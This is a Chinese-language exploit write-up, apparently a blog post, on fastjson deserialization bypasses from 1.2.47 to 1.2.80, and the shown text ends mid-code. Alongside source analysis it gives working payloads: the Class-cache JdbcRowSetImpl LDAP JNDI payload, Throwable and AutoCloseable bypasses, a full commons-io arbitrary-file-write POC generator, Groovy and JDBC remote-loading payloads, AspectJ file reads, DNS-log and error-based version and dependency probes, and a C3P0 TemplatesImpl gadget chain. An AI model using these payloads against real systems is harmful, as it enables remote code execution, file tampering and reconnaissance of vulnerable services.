继续跟进,发现被com.alibaba.fastjson.serializer.MiscCodec#deserialze方法调用。

当parser.resolveStatus为TypeNameRedirect时,会进入if语句,解析val中的内容放入objVal中,然后传入strVal中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);

if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}

parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}

String strVal;

if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
...
}

接着当class是Class.class时,将会调用loadClass方法,将strVal进行类加载并缓存。

1
2
3
if (clazz == Locale.class) {
return (T) TypeUtils.toLocale(strVal);
}
1
2
3
4
5
6
7
8
9
10
11
{
"1": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1389/Basic/Command/Base64/L2Jpbi9zaCAtYyAnb3BlbiAtYSBDYWxjdWxhdG9yJw==",
"autoCommit": true
}
}

调试分析一下,第一次进入checkAutoType方法时,还没有加入mapping,由于deserializers在初始化时已经将Class.class进行了加载,因此使用findClass方法可以找到,绕过了后面AutoTypeSupport的检查。

接着调用com.alibaba.fastjson.serializer.MiscCodec#deserialze方法,解析json中val中的内容,并放入objVal中,然后调用TypeUtils#loadClass方法,将恶意类进行缓存。

后续以恶意类进行@type请求时,由于mapping中已经缓存了,即可绕过黑名单进行的阻拦。

fastjson-1.2.68

fastjson <= 1.2.68,官方在1.2.48对漏洞进行了修复,在MiscCodec处理Class类的地方,设置了cache为false,并且loadClass重载方法的默认的调用改为不缓存,这就避免了使用了Class提前将恶意类名缓存进去。在fastjson 1.2.68中利用expectClass绕过checkAutoType方法,实际上也是为了绕过安全检查的思路的延伸,主要使用Throwable和AutoCloseable进行绕过。

在fastjson 1.2.68中更新了一个新的安全控制点safeMode,如果应用程序开启了safeMode,将在checkAutoType方法中直接抛出异常,也就是完全禁止autoType。

但与此同时,该版本出现了一个新的autoType绕过方式,利用expectClass绕过checkAutoType方法的安全检查。

在checkAutoType方法中有如下逻辑,如果函数有expectClass入参,且传入的类名是expectClass的子类或实现,并且不在黑名单中,就可以通过checkAutoType方法的安全检查。

1
2
3
4
5
6
7
8
9
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

查找是否有可控的expectClass入参的方法调用checkAutoType方法,最终找到了以下几个符合的方法:

  1. ThrowableDeserializer#deserialze
  2. JavaBeanDeserializer#deserialze

在ThrowableDeserializer#deserialze方法中,直接将@type后的类传入checkAutoType方法,并且expectClass为Throwable.class。

通过checkAutoType方法的安全检查后,使用createException方法来创建异常类的实例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class ExecException extends Exception {
private String domain;

public ExecException() {
super();
}

public String getDomain() {
return domain;
}

public void setDomain(String domain) {
this.domain = domain;
}

@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "ping " + domain});
} catch (Exception e) {
return e.getMessage();
}

return super.getMessage();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class Poc68 {
public static void main(String[] args) {
PocException();
}

public static void PocException() {
String poc = "{\n" +
" \"@type\": \"java.lang.Exception\",\n" +
" \"@type\": \"org.example.fastjson.ExecException\",\n" +
" \"domain\": \"127.0.0.1 | open -a Calculator\"\n" +
"}";
JSON.parseObject(poc);
}
}

与Throwable类似地,还有AutoCloseable,之所以使用AutoCloseable以及其子类可以绕过checkAutoType方法,是因为AutoCloseable是属于fastjson内置的白名单中,其余的调用链一致。

commons-io

在fastjson 1.2.68版本的利用中,fastjson在判断期望类之前将继承自ClassLoader、DataSource、RowSet的类直接抛出异常,这也就导致了攻击面大大缩小,对于Gadget的挖掘,浅蓝师傅提出了使用expectClass中的AutoCloseable进行文件读写操作的思路。

1
2
3
4
5
6
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}

由于fastjson漏洞触发方式是通过调用get/set构造方法来触发漏洞,因此对于写文件类的操作,根据浅蓝师傅的文章,需要满足以下几个条件:

  1. 需要一个通过set方法或构造方法指定文件路径的OutputStream
  2. 需要一个通过set方法或构造方法传入字节数据的OutputStream,参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过set方法或构造方法传入一个OutputStream,最后可以通过write方法将传入的字节码write到传入的OutputStream
  3. 需要一个通过set方法或构造方法传入一个OutputStream,并且可以通过调用toString、hashCode、get、set、构造方法调用传入的OutputStream的close、write或flush方法
CharSequenceInputStream

org.apache.commons.io.input.CharSequenceInputStream类是InputStream的子类,用于接收CharSequence内容并初始化,其构造方法接收参数CharSequence对象、字符编码、字节大小,并初始化放在类属性中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public CharSequenceInputStream(final CharSequence cs, final Charset charset, final int bufferSize) {
super();
this.encoder = charset.newEncoder()
.onMalformedInput(CodingErrorAction.REPLACE)
.onUnmappableCharacter(CodingErrorAction.REPLACE);
// Ensure that buffer is long enough to hold a complete character
final float maxBytesPerChar = encoder.maxBytesPerChar();
if (bufferSize < maxBytesPerChar) {
throw new IllegalArgumentException("Buffer size " + bufferSize + " is less than maxBytesPerChar " + maxBytesPerChar);
}
this.bbuf = ByteBuffer.allocate(bufferSize);
this.bbuf.flip();
this.cbuf = CharBuffer.wrap(cs);
this.mark_cbuf = NO_MARK;
this.mark_bbuf = NO_MARK;
}

CharSequence是String的父接口,因此可以直接使用String对象的数据。由于这个CharSequenceInputStream类接收CharSequence对象,可以充当写入文件内容的入口类,写入的内容会放在this.cbuf中,这是一个CharBuffer对象。

FileWriterWithEncoding

org.apache.commons.io.output.FileWriterWithEncoding类的构造方法接收file参数、encoding参数,创建File对象,并调用initWriter方法初始化OutputStreamWriter方法放在this.out中。

WriterOutputStream

org.apache.commons.io.output.WriterOutputStream类的构造方法接收参数Writer(writer)、字符编码(charsetName)、字节大小(bufferSize)、标识是否立即写入的布尔型参数(writeImmediately)。

由于CharsetDecoder是一个抽象类,也没有继承AutoCloseable接口,所以无法使用AutoType进行创建,只能使用带有charsetName的构造方法创建。

WriterOutputStream#write方法,会将接受到的byte数组通过this.decoderIn的put方法写入,使用this.processInput方法将in和out数据进行拷贝,并在this.flushOutput方法中调用writer的write方法写出this.decoderOut中的数据。

TeeInputStream

现在有了接收输入(文件内容)的InputStream,负责输出的OutputStream和Writer(文件路径),接下来还需要找到将InputStream和OutputStream进行转换,以及触发写出文件操作。

org.apache.commons.io.input.TeeInputStream类的构造方法会接收InputStream及OutputStream,并提供将InputStream中的字节写入OutputStream的功能,以及提供调用两者close的功能。

TeeInputStream是FilterInputStream的子类,会在构造方法中会把InputStream放在this.in中。

TeeInputStream#read方法会调用其父类ProxyInputStream的read方法来读取this.in中的内容,并调用this.branch中的OutputStream对象的write方法进行写入。

BOMInputStream

org.apache.commons.io.input.BOMInputStream类会调用InputStream#read方法读取字节,其是commons-io用来检测文件输入流的BOM,并在输入流中进行过滤,根据org.apache.commons.io.ByteOrderMark中的属性,BOMInputStream支持识别以下几种BOM。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/** UTF-8 BOM */
public static final ByteOrderMark UTF_8 = new ByteOrderMark("UTF-8", 0xEF, 0xBB, 0xBF);

/** UTF-16BE BOM (Big-Endian) */
public static final ByteOrderMark UTF_16BE = new ByteOrderMark("UTF-16BE", 0xFE, 0xFF);

/** UTF-16LE BOM (Little-Endian) */
public static final ByteOrderMark UTF_16LE = new ByteOrderMark("UTF-16LE", 0xFF, 0xFE);

/**
* UTF-32BE BOM (Big-Endian)
* @since 2.2
*/
public static final ByteOrderMark UTF_32BE = new ByteOrderMark("UTF-32BE", 0x00, 0x00, 0xFE, 0xFF);

/**
* UTF-32LE BOM (Little-Endian)
* @since 2.2
*/
public static final ByteOrderMark UTF_32LE = new ByteOrderMark("UTF-32LE", 0xFF, 0xFE, 0x00, 0x00);

BOMInputStream与TeeInputStream都继承了父类ProxyInputStream,其初始化参数delegate接收InputStream,使用父类构造方法放入this.in中,boms是ByteOrderMark类的可变参数数组,用来指定不同编码的BOM头部,会处理成List对象存入this.boms中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// org.apache.commons.io.input.BOMInputStream
public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms) {
super(delegate);
if (boms == null || boms.length == 0) {
throw new IllegalArgumentException("No BOMs specified");
}
this.include = include;
// Sort the BOMs to match the longest BOM first because some BOMs have the same starting two bytes.
Arrays.sort(boms, ByteOrderMarkLengthComparator);
this.boms = Arrays.asList(boms);

}

// org.apache.commons.io.input.ProxyInputStream
public ProxyInputStream(final InputStream proxy) {
super(proxy);
// the proxy is stored in a protected superclass variable named 'in'
}

// java.io.FilterInputStream
protected volatile InputStream in;
protected FilterInputStream(InputStream in) {
this.in = in;
}

ByteOrderMark就是commons-io包对流中BOM头部的封装,这个类接收charsetName和名为bytes的可变参数int数组,这个int数组用来表示不同编码的字节顺序标记的表示。

BOMInputStream中存在一个getBOM方法,这个方法原本的作用就是根据类初始化时传入的InputStream对象以及ByteOrderMark配置,在流中读取对应的ByteOrderMark。这个方法创建了一个for循环,根据类初始化时的ByteOrderMark的int数组长度,调用this.in的read方法在流中循环读取相应长度的数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public ByteOrderMark getBOM() throws IOException {
if (firstBytes == null) {
fbLength = 0;
// BOMs are sorted from longest to shortest
final int maxBomSize = boms.get(0).length();
firstBytes = new int[maxBomSize];
// Read first maxBomSize bytes
for (int i = 0; i < firstBytes.length; i++) {
firstBytes[i] = in.read();
fbLength++;
if (firstBytes[i] < 0) {
break;
}
}
// match BOM in firstBytes
byteOrderMark = find();
if (byteOrderMark != null) {
if (!include) {
if (byteOrderMark.length() < firstBytes.length) {
fbIndex = byteOrderMark.length();
} else {
fbLength = 0;
}
}
}
}
return byteOrderMark;
}

将上文的各步骤合到一块,大致逻辑如下:

  1. BOMInputStream初始化一个TeeInputStream和一个ByteOrderMark数组,里面存放了一个指定长度的int数组,用来读取相应长度的输入流
  2. TeeInputStream初始化了一个CharSequenceInputStream和WriterOutputStream,无论调用TeeInputStream的任意一个read方法,都会将读取的内容同步调用WriterOutputStream的write方法写入其中
  3. CharSequenceInputStream初始化输入的字符串(实际上是CharSequence对象)、字符编码、以及缓冲区大小(最大255)用于创建InputStream对象
  4. WriterOutputStream初始化FileWriterWithEncoding以及一些属性,WriterOutputStream的write方法会将字节进行写入,如果参数writeImmediately为true,会调用OutputStreamWriter的write方法进行写出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import org.apache.commons.io.ByteOrderMark;
import org.apache.commons.io.input.BOMInputStream;
import org.apache.commons.io.input.CharSequenceInputStream;
import org.apache.commons.io.input.TeeInputStream;
import org.apache.commons.io.output.FileWriterWithEncoding;
import org.apache.commons.io.output.WriterOutputStream;

public class CommonIODemo {
public static void main(String[] args) throws Exception {
CharSequenceInputStream inputStream = new CharSequenceInputStream("testtest", "UTF-8", 8);
FileWriterWithEncoding fileWriter = new FileWriterWithEncoding("/Users/alphag0/Desktop/Code/Java/JavaSecCode/src/main/java/org/example/fastjson/test.txt", "UTF-8", false);
WriterOutputStream outputStream = new WriterOutputStream(fileWriter, "UTF-8", 8, true);
TeeInputStream teeInputStream = new TeeInputStream(inputStream, outputStream, true);
ByteOrderMark byteOrderMark = new ByteOrderMark("UTF-8", new int[]{0, 0, 0, 0, 0, 0, 0, 0});
BOMInputStream bomInputStream = new BOMInputStream(teeInputStream, byteOrderMark);
bomInputStream.getBOM();
bomInputStream.close();
}
}

最后生成Payload的代码参考su18师傅给出的POC。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
import com.alibaba.fastjson.JSON;
import org.apache.commons.io.FileUtils;

import java.io.File;
import java.io.IOException;

/**
* fastjson 1.2.68 autocloseable commons-io poc 生成工具类
*
* @author su18
*/
public class POC {

public static final String AUTOCLOSEABLE_TAG = "\"@type\":\"java.lang.AutoCloseable\",";

/**
* 在 payload 外包裹一层绕过指定类型
*
* @param payload payload
* @return 返回结果
*/
public static String bypassSpecializedClass(String payload) {
return "{\"su18\":" + payload + "}";
}


/**
* 使用 Currency 类解析调用 "currency" 中 value 的 toString 方法,使用 JSONObject 方法调用 toJSONString
*
* @param payload payload
* @return 返回结果
*/
public static String useCurrencyTriggerAllGetter(String payload, boolean ref) {
return String.format("{\"@type\":\"java.util.Currency\",\"val\":{\"currency\":%s%s}}%s",
(ref ? "" : "{\"su19\":"), payload, (ref ? "" : "}"));
}


/**
* 生成 CharSequenceInputStream 反序列化字符串
*
* @param content 写入内容
* @param ref 是否使用引用对象
* @return 返回结果
*/
public static String generateCharSequenceInputStream(String content, boolean ref) {
int mod = 8192 - content.length() % 8192;

StringBuilder contentBuilder = new StringBuilder(content);
for (int i = 0; i < mod+1; i++) {
contentBuilder.append(" ");
}

return String.format("{%s\"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\"," +
"\"charset\":\"UTF-8\",\"bufferSize\":4,\"s\":{\"@type\":\"java.lang.String\"\"%s\"}",
ref ? AUTOCLOSEABLE_TAG : "", contentBuilder);
}


/**
* 生成 FileWriterWithEncoding 反序列化字符串
*
* @param filePath 要写入的文件位置
* @param ref 是否使用引用对象
* @return 返回结果
*/
public static String generateFileWriterWithEncoding(String filePath, boolean ref) {
return String.format("{%s\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\"," +
"\"file\":\"%s\",\"encoding\":\"UTF-8\"}", ref ? AUTOCLOSEABLE_TAG : "", filePath);
}

/**
* 生成 WriterOutputStream 反序列化字符串
*
* @param writer writer 对象反序列化字符串
* @param ref 是否使用引用对象
* @return 返回结果
*/
public static String generateWriterOutputStream(String writer, boolean ref) {
return String.format("{%s\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writeImmediately\":true," +
"\"bufferSize\":4,\"charsetName\":\"UTF-8\",\"writer\":%s}",
ref ? AUTOCLOSEABLE_TAG : "", writer);
}


/**
* 生成 TeeInputStream 反序列化字符串
*
* @param inputStream inputStream 类
* @param outputStream outputStream 类
* @param ref 是否使用引用对象
* @return 返回结果
*/
public static String generateTeeInputStream(String inputStream, String outputStream, boolean ref) {
return String.format("{%s\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":%s," +
"\"closeBranch\":true,\"branch\":%s}", ref ? AUTOCLOSEABLE_TAG : "", inputStream, outputStream);
}


/**
* 生成 BOMInputStream 反序列化字符串
*
* @param inputStream inputStream 类
* @param size 读取 byte 大小
* @return 返回结果
*/
public static String generateBOMInputStream(String inputStream, int size) {

int nums = size / 8192;
int mod = size % 8192;

if (mod != 0) {
nums = nums + 1;
}

StringBuilder bytes = new StringBuilder("0");
for (int i = 0; i < nums * 8192; i++) {
bytes.append(",0");
}
return String.format("{%s\"@type\":\"org.apache.commons.io.input.BOMInputStream\",\"delegate\":%s," +
"\"boms\":[{\"charsetName\":\"UTF-8\",\"bytes\":[%s]}]}",
AUTOCLOSEABLE_TAG, inputStream, bytes);
}


/**
* 读取文件内容字符串
*
* @param file 文件路径
* @return 返回字符串
*/
public static String readFile(File file) {
String result = "";

try {
result = FileUtils.readFileToString(file);
} catch (IOException e) {
e.printStackTrace();
}

return result;
}


/**
* 生成普通 payload
*
* @param payloadFile 写入文件本地存储位置
* @param targetFilePath 写出目标文件位置
* @return 返回 payload
*/
public static String generatePayload(String payloadFile, String targetFilePath) {
File file = new File(payloadFile);
String fileContent = readFile(file);
if (!"".equals(fileContent)) {
return bypassSpecializedClass(
useCurrencyTriggerAllGetter(
generateBOMInputStream(
generateTeeInputStream(generateCharSequenceInputStream(fileContent, false),
generateWriterOutputStream(
generateFileWriterWithEncoding(targetFilePath, false),
false),
false),
(int) file.length()),
false));
}

return "";
}

/**
* 生成引用型 payload
*
* @param payloadFile 写入文件本地存储位置
* @param targetFilePath 写出目标文件位置
* @return 返回 payload
*/
public static String generateRefPayload(String payloadFile, String targetFilePath) {
File file = new File(payloadFile);
String fileContent = readFile(file);
if (!"".equals(fileContent)) {
return bypassSpecializedClass(
useCurrencyTriggerAllGetter(
"{\"writer\":" + generateFileWriterWithEncoding(targetFilePath, true) +
",\"outputStream\":" + generateWriterOutputStream("{\"$ref\":\"$.currency.writer\"}", true) +
",\"charInputStream\":" + generateCharSequenceInputStream(fileContent, true) +
",\"teeInputStream\":" + generateTeeInputStream("{\"$ref\":\"$.currency.charInputStream\"}", "{\"$ref\":\"$.currency.outputStream\"}", true) +
",\"inputStream\":" + generateBOMInputStream("{\"$ref\":\"$.currency.teeInputStream\"}", (int) file.length()) + "}"
, true
)
);
}

return "";

}


public static void main(String[] args) {
String file = "/Users/phoebe/Downloads/12.txt";
String target = "/Users/phoebe/Downloads/123.txt";

// 正常调用 payload 生成
String payload = generatePayload(file, target);

// 引用类型 payload 生成
String payloadWithRef = generateRefPayload(file, target);

// 以下三种调用方式均可兼容,触发反序列化
// JSON.parse(payloadWithRef);
JSON.parseObject(payloadWithRef);
// JSON.parseObject(payloadWithRef,POC.class);
}

}

fastjson 1.2.80

fastjson <= 1.2.80,依旧还是利用期望类,可在特定条件下绕过AutoType关闭限制加载远程对象进行反序列化。

与fastjson 1.2.68一样,该版本的漏洞利用,依旧还是利用的期望类,在1.2.68版本中,主要是使用expectClass中的AutoCloseable进行文件读写操作,而在1.2.80版本中,利用的期望类为Throwable.class。

Groovy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"@type":"java.lang.Exception",
"@type":"org.codehaus.groovy.control.CompilationFailedException",
"unit":{}
}

{
"@type":"org.codehaus.groovy.control.ProcessingUnit",
"@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",
"config":{
"@type":"org.codehaus.groovy.control.CompilerConfiguration",
"classpathList":"http://127.0.0.1:9999/"
}
}

JDBC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{
"a":{
"@type":"java.lang.Exception",
"@type":"org.python.antlr.ParseException",
"type":{}
},
"b":{
"@type":"org.python.core.PyObject",
"@type":"com.ziclix.python.sql.PyConnection",
"connection":{
"@type":"org.postgresql.jdbc.PgConnection",
"hostSpecs":[
{
"host":"127.0.0.1",
"port":2333
}
],
"user":"user",
"database":"test",
"info":{
"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext",
"socketFactoryArg":"http://127.0.0.1:8090/exp.xml"
},
"url":""
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list value-type="java.lang.String" >
<value>cmd</value>
<value>/c</value>
<value>calc</value>
</list>
</constructor-arg>
<property name="whatever" value="#{pb.start()}"/>
</bean>
</beans>

Aspectj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
// 第一次
{
"@type":"java.lang.Exception",
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}


// 第二次
{
"@type":"java.lang.Class",
"val":{
"@type":"java.lang.String"{
"@type":"java.util.Locale",
"val":{
"@type":"com.alibaba.fastjson.JSONObject",
{
"@type":"java.lang.String"
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
"newAnnotationProcessorUnits":[{}]
}
}
}

// 第三次,针对Windows系统
{
"x":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}
// 另一种姿势,报错回显
{
"@type":"java.lang.Character"
{
"c":{
"@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
"@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
"fileName":"c:/windows/win.ini"
}
}

Trick

信息探测

利用报错信息来获取版本号

1
2
3
// 该方法在大概FastJson 1.2.76版本后无效,即便是通过这种方式探测出精准的FastJson版本,也是1.2.76,即便是使用的1.2.80的依赖,因为在源码中并没有改变
{
"@type": "java.lang.AutoCloseable"

无报错进行fastjson版本探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 不报错1.2.83/1.2.24, 报错1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}

// 不报错1.2.24-1.2.68, 报错1.2.70-1.2.83
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}

// 不报错1.2.24-1.2.47, 报错1.2.48-1.2.83
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl"
}
}

// 不报错1.2.24, 报错1.2.25-1.2.83
{"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

利用DNS请求来探测fastjson版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
// fastjson < 1.2.43
{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}

// fastjson <= 1.2.47
[
{
"@type": "java.lang.Class",
"val": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.io.ByteArrayOutputStream"
},
{
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "aaa.xxxx.ceye.io"
}
}
]

// fastjson < 1.2.48
{"@type":"java.net.InetAddress","val":"dnslog"}

// fastjson < 1.2.68
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:0

// fastjson <= 1.2.80收到一个dns请求, fastjson 1.2.83收到两个dns请求
[
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ccc.4fhgzj.dnslog.cn"
}
}
},
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"message": {
"@type": "java.net.InetSocketAddress"
{
"address":,
"val": "ddd.4fhgzj.dnslog.cn"
}
}
}
]

利用FastJson的回显报错探测依赖

针对黑盒情况下,在确定FastJson具体版本后进一步探测该环境存在的一些依赖,从而选择对应的Payload,而不是一味的盲打。

1
2
3
4
5
6
7
8
9
10
11
12
13
// 系统存在这个类, 会返回一个类实例, 如果不存在会返回null
{
"z": {
"@type": "java.lang.Class",
"val": "groovy.lang.GroovyShell"
}
}
{
"z": {
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}
}

1
2
3
4
5
6
7
// 利用Character转换报错, 若存在则会抛出报错can not cast to char, value : xxx
{
"x": {
"@type": "java.lang.Character"{
"@type": "java.lang.Class",
"val": "org.springframework.web.bind.annotation.RequestMapping"
}}

以下是部分依赖对应的POC探测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
org.springframework.web.bind.annotation.RequestMapping  // SpringBoot
org.apache.catalina.startup.Tomcat // Tomcat
groovy.lang.GroovyShell // Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources // C3P0
com.mysql.jdbc.Buffer // mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider // mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider // mysql-connect-8
sun.nio.cs.GBK // JDK8
java.net.http.HttpClient // JDK11
org.apache.ibatis.type.Alias // Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource // tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource // tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets // 存在commons-io, 但不确定版本
org.apache.commons.io.file.Counters // commons-io-2.7-2.8
org.aspectj.ajde.Ajde // aspectjtools

不出网利用

TemplatesImpl

上文已经分析过了,由于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的部分属性为private,因此利用条件较为苛刻,需要开启Feature.SupportNonPublicField

C3P0链HEX序列化字节加载器

详细参考HEX序列化字节加载器,userOverridesAsString属性可控,导致可以从其setter方法setuserOverridesAsString开始到最后deserializeFromByteArray对其调用readObject进行反序列化,造成反序列化漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class HexBase {

public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("a");
CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
clazz.setSuperclass(superClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, clazz);
ctConstructor.setBody("Runtime.getRuntime().exec(\"open -a Calculator\");");
clazz.addConstructor(ctConstructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", bytes);
setFieldValue(templates, "_name", "1");
setFieldValue(templates, "_tfactory", null);

Map map1 = new HashMap();
InvokerTransformer invokerTransformer = new InvokerTransformer("h3", new Class[0], new Object[0]);
Map map2 = LazyMap.decorate(map1, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(map2, templates);

HashSet hashSet = new HashSet(1);
hashSet.add("1");

Field field1;
try {
field1 = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
field1 = HashSet.class.getDeclaredField("backingMap");
}
field1.setAccessible(true);
HashMap hashMap = (HashMap) field1.get(hashSet);

Field field2;
try {
field2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
field2 = HashMap.class.getDeclaredField("elementData");
}
field2.setAccessible(true);
Object[] array = (Object[])field2.get(hashMap);

Object node = array[0];
if (node == null) {
node = array[1];
}

Field field3;
try {
field3 = node.getClass().getDeclaredField("key");
} catch (NoSuchFieldException e) {
field3 = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
field3.setAccessible(true);
field3.set(node, tiedMapEntry);

Field field4 = invokerTransformer.getClass().getDeclaredField("iMethodName");
field4.setAccessible(true);
field4.set(invokerTransformer, "newTransformer");

String string = toHexAscii(tobyteArray(hashSet));
String jsonString = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
" },\n" +
" \"b\":{\n" +
